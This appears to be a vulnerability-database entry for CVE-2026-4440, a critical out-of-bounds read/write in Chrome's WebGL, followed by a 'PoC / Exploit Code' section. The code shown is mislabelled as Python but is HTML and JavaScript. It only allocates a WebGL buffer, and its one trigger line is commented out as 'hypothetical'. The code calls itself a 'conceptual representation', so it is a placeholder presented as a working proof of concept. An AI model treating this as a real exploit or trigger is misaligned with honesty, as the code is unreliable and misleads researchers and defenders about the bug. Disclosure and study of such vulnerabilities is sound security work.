Out of bounds read and write in WebGL in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: Critical)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4440 -->
<!-- This PoC demonstrates the trigger for the WebGL Out-of-Bounds Read/Write -->
<html>
<head>
<title>CVE-2026-4440 PoC</title>
</head>
<body>
<script>
// Attempt to trigger the vulnerability in WebGL
function trigger_oob() {
var canvas = document.createElement('canvas');
var gl = canvas.getContext('webgl');
if (!gl) {
console.log("WebGL not supported");
return;
}
// Create a buffer
var buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// Malicious parameters to trigger OOB
// Note: Specific offsets/size depend on the exact bug logic
var malicious_data = new Uint8Array(0x1000);
gl.bufferData(gl.ARRAY_BUFFER, malicious_data, gl.DYNAMIC_DRAW);
// Attempt to read/write out of bounds
// This is a conceptual representation
try {
// Hypothetical trigger function
// gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0x100000, 0);
console.log("Attempting to trigger OOB access...");
// Actual exploitation requires specific shader manipulation
} catch (e) {
console.log("Exception caught: " + e);
}
}
trigger_oob();
</script>
</body>
</html>